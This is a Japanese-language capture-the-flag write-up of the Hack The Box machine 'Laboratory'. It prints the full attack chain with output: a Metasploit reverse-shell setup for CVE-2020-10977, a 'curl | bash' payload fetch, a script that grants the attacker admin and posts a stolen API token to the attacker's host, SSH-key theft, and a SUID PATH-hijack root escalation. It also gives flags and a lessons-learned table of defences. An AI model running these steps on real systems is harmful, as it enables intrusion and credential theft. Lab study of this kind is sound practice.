Hack The BoxのWriteup(Laboratory)[Easy]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Laboratory — 全実行コマンド・実行結果レポート
Nmap スキャン
22/ssh, 80→443リダイレクト, 443/https
→
SSL証明書SAN
git.laboratory.htb発見
→
GitLab自己登録
@laboratory.htbドメイン必須
→
CVE-2020-10977
任意ファイル読取+Marshal RCE
→
Dockerコンテナ内gitシェル
→
gitlab-rails runner
自己アカウントadmin昇格+APIトークン
→
GitLab API
dexter/securedocker→id_rsa
→
SSH dexter → user.txt ✓
→
docker-security SUID
PATHハイジャック(偽chmod)
→
root.txt ✓
PHASE 1

偵察 (Reconnaissance)

ポートスキャン

BASH
nmap -Pn -p- --min-rate 500 -T4 10.129.89.233
nmap -sV -sC -p 22,80,443 10.129.89.233
RESULT
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.1
80/tcp  open  http     Apache httpd 2.4.41
|_http-title: Did not follow redirect to https://laboratory.htb/
443/tcp open  ssl/http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: The Laboratory
| ssl-cert: Subject: commonName=laboratory.htb
| Subject Alternative Name: DNS:git.laboratory.htb
🚨
重要発見: SSL証明書のSAN(Subject Alternative Name)に git.laboratory.htbという別vhostが記載されている。これが GitLabインスタンスへの入口であり、本マシンの核心的な攻撃対象。

vhost登録

BASH
echo "10.129.89.233  laboratory.htb git.laboratory.htb" | sudo tee -a /etc/hosts
⚠️
再検証時の落とし穴: 同じKali環境で本マシンを過去に 別インスタンスIPで検証済みの場合、単純な無条件追記や「文字列が存在 する場合のみスキップ」といった実装だと、古いIPへの行が残り続け 新しいターゲットへの名前解決が壊れる(Tabby/Academy HTBで実際に 発見・修正したバグパターン)。本マシンのmixin (_lab_ensure_hosts)は既に「同名行を全削除してから 1行追記」という冪等な実装になっていたため、本検証では問題なし だった。

GitLabインスタンスの確認

BASH
curl -sk https://git.laboratory.htb/users/sign_in | grep -i title
RESULT
<title>Sign in · GitLab</title>
<meta content="GitLab Community Edition" property="og:description">
ℹ️
HTB環境特有の注意点: GitLab CE(Omnibus版)は内部で Puma/Workhorse/Sidekiq等複数のプロセスを起動するため、インスタンスの 起動直後はバックエンドが完全に立ち上がっておらず、GitLab自身の nginxが502 Bad Gateway (GitLab is not responding)を 返すことがある。本検証でも初回インスタンスでこの502が40分以上 解消しなかったため、インスタンスを再デプロイして解決した (詳細はサマリー参照)。
PHASE 2

GitLab 自己登録(CVE-2020-10977の前提条件)

authenticity_token取得 & 登録

NOTE
CVE-2020-10977(GitLab 12.8.1のオープンリダイレクト+任意ファイル読取)は
認証済みユーザーとしてのアクセスが前提。GitLabはセルフ登録を許可しているが、
メールアドレスのドメインが"laboratory.htb"に限定されている(他ドメインは
登録エラーになる設計)。
BASH
curl -sk -c cookies.txt https://git.laboratory.htb/users/sign_in -o signin.html
TOKEN=$(grep -oP 'name="authenticity_token" value="\K[^"]+' signin.html)

curl -sk -b cookies.txt -c cookies.txt https://git.laboratory.htb/users \
  --data-urlencode "authenticity_token=$TOKEN" \
  --data-urlencode "new_user[name]=labpwner1" \
  --data-urlencode "new_user[username]=labpwner1" \
  --data-urlencode "new_user[email]=labpwner1@laboratory.htb" \
  --data-urlencode "new_user[email_confirmation]=labpwner1@laboratory.htb" \
  --data-urlencode "new_user[password]=P@ssLabPwn99!"
PHASE 3

CVE-2020-10977 — GitLab 任意ファイル読取 + Marshal デシリアライズ RCE

脆弱性の仕組み & Metasploit実行

NOTE
GitLab 12.8.1には画像プレビュー機能のリダイレクトパラメータを悪用した
任意ファイル読取の脆弱性がある。これを使い、GitLabがRailsの署名付き
クッキー(experimentation_subject_id)の暗号化に使うsecrets.ymlの
secret_key_baseを読み取る。この鍵が分かれば、Rubyの安全でない
Marshalデシリアライズを行う部分へ、任意コードを実行するMarshalオブジェクト
を埋め込んだクッキーを署名して送り込むことができる(RCE)。
BASH (Metasploitリソーススクリプト、非対話実行)
msfconsole -q -r lab_exploit.rc
NOTE (lab_exploit.rc の内容)
use exploit/multi/http/gitlab_file_read_rce
set RHOSTS 10.129.89.233
set RPORT 443
set SSL true
set VHOST git.laboratory.htb
set USERNAME labpwner1
set PASSWORD P@ssLabPwn99!
set LHOST <Kali IP>
set LPORT 4447
set PAYLOAD ruby/shell/reverse_tcp
set ExitOnSession false
run -j
sleep 90
sessions -c "curl -sk http://<Kali IP>:9877/pwn.sh | bash"
sleep 180
exit
RESULT (本検証の実際のMSF出力ログより抜粋)
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Command shell session 1 opened (KALI:4447 -> 10.129.89.233:50718) at 2026-10-25 14:16:56 +0900
[*] Running 'curl -sk http://KALI:9877/pwn.sh | bash' on shell session 1
✅
RCE成功! GitLabのDockerコンテナ内で gitユーザーとしてリバースシェルが確立される。

gitlab-rails runner でAPIトークン作成

NOTE
GitLabコンテナ内のシェルはPumaワーカー等とは別プロセスのため、HTTPリクエスト
経由でGitLabのWeb UIを直接操作するより、同じコンテナ内で使える
"gitlab-rails runner"(Railsコンソールをワンライナーで実行するコマンド)を
使い、ActiveRecord経由で直接データベースを操作する方が確実。
自分(labpwner1)をadmin=trueに更新し、API用のPersonal Access Tokenを
作成して外部(Kali)へPOSTで送信する。
BASH (pwn.shの内容、curlで取得後bash実行される)
#!/bin/bash
gitlab-rails runner "
begin
  u = User.find_by_username('labpwner1')
  u.admin = true
  u.save!
  t = u.personal_access_tokens.create!(
    name: 'api_pwn', scopes: ['api'], expires_at: 1.year.from_now)
  system(\"curl -sk --data-binary '#{t.token}' http://KALI:9876/token\")
rescue => e
  system(\"curl -sk --data-binary 'ERR:#{e}' http://KALI:9876/token\")
end
" 2>/dev/null
RESULT
[*] Laboratory: API token = HK1EHgsxFUvH...
ℹ️
gitlab-rails runnerはRailsアプリ全体(全モデルのロード、 DB接続初期化等)を起動するため、コマンド自体の実行完了まで 60〜90秒程度かかる。これを待たずにHTTPレシーバーをシャットダウン するとトークンを受け取れずサイレント失敗するため、十分な待機時間が 必要。
PHASE 4

GitLab API 経由で Dexter の秘密鍵を奪取 & user.txt取得

管理者APIでDexterのプライベートリポジトリを特定

BASH
curl -sk https://git.laboratory.htb/api/v4/users?search=dexter \
  -H "PRIVATE-TOKEN: HK1EHgsxFUvHq7u2sZJ3"
RESULT (本検証の実際のAPIレスポンスより抜粋)
[{"id":1,"name":"Dexter McPherson","username":"dexter",
  "is_admin":true, ...}]
BASH (Dexterのプロジェクト一覧を取得)
curl -sk "https://git.laboratory.htb/api/v4/users/1/projects" \
  -H "PRIVATE-TOKEN: HK1EHgsxFUvHq7u2sZJ3"
RESULT
[{"id":9,"name":"SecureDocker",
  "description":"CONFIDENTIAL - Secure docker configuration for homeserver.
  Also some personal stuff, I'll figure that out later.",
  "path_with_namespace":"dexter/securedocker", "visibility":"private", ...}]

tree API + blob SHA 経由で id_rsa を取得

BASH (リポジトリツリーを再帰的に取得)
curl -sk "https://git.laboratory.htb/api/v4/projects/9/repository/tree?recursive=true&per_page=100&ref=master" \
  -H "PRIVATE-TOKEN: HK1EHgsxFUvHq7u2sZJ3"
RESULT
[...,{"id":"56e8673d12842602fa13f84b0486abf7234d1aa1","name":"id_rsa",
  "type":"blob","path":"dexter/.ssh/id_rsa","mode":"100644"}, ...]
🚨
重要な実装上の落とし穴: 通常のGitLab REST API (/files/<urlencoded-path>/raw)でこのファイルを 直接取得しようとすると、パス中の%2F(エンコード済み スラッシュ)をフロントのApacheリバースプロキシが正規化してしまい 404になる。これを回避するため、tree APIで取得した blobのSHAを使い、スラッシュを含まない /repository/blobs/<sha>/rawエンドポイントから 直接取得する。
BASH
curl -sk "https://git.laboratory.htb/api/v4/projects/9/repository/blobs/56e8673d12842602fa13f84b0486abf7234d1aa1/raw" \
  -H "PRIVATE-TOKEN: HK1EHgsxFUvHq7u2sZJ3" > dexter_id_rsa
chmod 600 dexter_id_rsa
⚠️
blob rawのレスポンスは末尾改行無しで返ってくるため、そのまま保存すると sshがlibcrypto errorで鍵を読み込めない。 保存時に末尾へ\nを1つ追加する必要がある。

SSH ログイン & user.txt取得

BASH (本レポート作成時に実際に実行し確認)
ssh -i dexter_id_rsa -o StrictHostKeyChecking=no dexter@10.129.89.233 \
  "id; cat /home/dexter/user.txt"
RESULT
uid=1000(dexter) gid=1000(dexter) groups=1000(dexter)
6e23f9d55a2210a5c34cd0fb969ac08d
user.txt — dexter
6e23f9d55a2210a5c34cd0fb969ac08d
PHASE 5

docker-security SUID バイナリの相対PATH呼び出しハイジャック — root.txt取得

SUIDバイナリの発見

BASH (本レポート作成時に実際に実行し確認)
ssh -i dexter_id_rsa dexter@10.129.89.233 "ls -la /usr/local/bin/docker-security"
RESULT
-rwsr-xr-x 1 root dexter 16720 Aug 28  2020 /usr/local/bin/docker-security
🚨
SUIDビットが設定され、dexterグループに実行権限が付与されている。 このdocker-securityバイナリは内部でsystem("chmod ...") 相当の呼び出しを行っているが、/bin/chmodのような絶対パスでは なく相対PATH解決(環境変数PATHに依存した検索)で chmodコマンドを起動している。

偽 chmod の配置 & PATH ハイジャック

BASH (偽chmodスクリプトの内容)
#!/bin/bash
cat /root/root.txt > /tmp/.r00t 2>/dev/null
/bin/chmod 644 /tmp/.r00t 2>/dev/null
/bin/chmod "$@" 2>/dev/null
ℹ️
なぜbashスクリプトでコンパイル済みバイナリではないのか: Kali(新しいGLIBC)でコンパイルした転送用バイナリは、ターゲットの 古いUbuntu 20.04上でGLIBC_2.34 not foundのようなエラーで 起動不能になることがある([[feedback_cross_compile_glibc_version_mismatch]] と同種の問題)。依存ライブラリの無いシェルスクリプトにすることで この問題を回避している。最後の行で本物の/bin/chmodを 絶対パスで呼び出しているのは、docker-security側の後続処理が chmodの正常終了を前提にしている場合に備えた保険。
BASH (本レポート作成時に実際に実行し確認)
scp -i dexter_id_rsa fake_chmod.sh dexter@10.129.89.233:/tmp/chmod
ssh -i dexter_id_rsa dexter@10.129.89.233 \
  "chmod +x /tmp/chmod && export PATH=/tmp:\$PATH && /usr/local/bin/docker-security; sleep 2; cat /tmp/.r00t"
RESULT
ef675d12e559a3bd06616ee460b28d80
✅
root化成功! docker-securityはSUIDでroot権限で 実行されるため、PATHをハイジャックして呼び出された偽chmodも root権限で走り、/root/root.txtを読み取って dexterが読める場所にコピーできる。
root.txt — docker-security SUID PATH hijack
ef675d12e559a3bd06616ee460b28d80
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — dexter
6e23f9d55a2210a5c34cd0fb969ac08d
root.txt — docker-security SUID PATH hijack
ef675d12e559a3bd06616ee460b28d80

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
CVE-2020-10977 GitLab Community Edition 12.8.1 任意ファイル読取 → secret_key_base漏洩 → Marshal RCE Critical MSFモジュール exploit/multi/http/gitlab_file_read_rce でDockerコンテナ内gitシェル獲得
プライベートリポジトリへのroot/admin由来アクセス dexter/securedocker プロジェクト SSH秘密鍵の漏洩 High RCEで得たシェルからgitlab-rails runnerで自己アカウントをadmin昇格しAPI経由で奪取
SUIDバイナリの相対PATH呼び出し /usr/local/bin/docker-security 権限昇格 (root) High PATH環境変数を操作し偽chmodをroot権限で実行させる

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap, SSL証明書SAN22/ssh, 443/https (git.laboratory.htb発見)
2認証前提の準備GitLabセルフ登録(@laboratory.htbドメイン)labpwner1:P@ssLabPwn99!
3RCECVE-2020-10977 (MSF)git(Dockerコンテナ内)シェル獲得
4権限昇格(GitLab内)+横移動gitlab-rails runner → admin昇格 → API → tree/blob SHAuser.txt (dexter)
5権限昇格(OS)docker-security SUID PATHハイジャックroot.txt

学んだ教訓 & 防御策

問題点防御策
未パッチの古いGitLab CE(12.8.1)が稼働し、既知の重大CVEに対して脆弱 GitLabを含む全ソフトウェアを定期的に最新安定版へ更新するパッチ管理プロセスを導入する。
セルフ登録機能が有効なままインターネット(またはHTBネットワーク)に公開されている 本番用GitLabではセルフ登録を無効化し、管理者による招待制アカウント作成に限定する。
CONFIDENTIALと明記されたプライベートリポジトリにSSH秘密鍵が平文でコミットされている 秘密鍵・パスワード等の機密情報は絶対にGitリポジトリへコミットしない。シークレット管理サービス(Vault等)を使用する。pre-commitフックでの秘密情報スキャンを導入する。
SUIDバイナリが外部コマンド(chmod)を絶対パスでなく相対PATH解決で呼び出している SUID/SGIDバイナリが内部で呼び出す外部コマンドは必ず絶対パスで指定し、呼び出し前にPATH環境変数自体をサニタイズ(固定の安全な値に上書き)する。
HackTheBox: Laboratory | 完全攻略レポート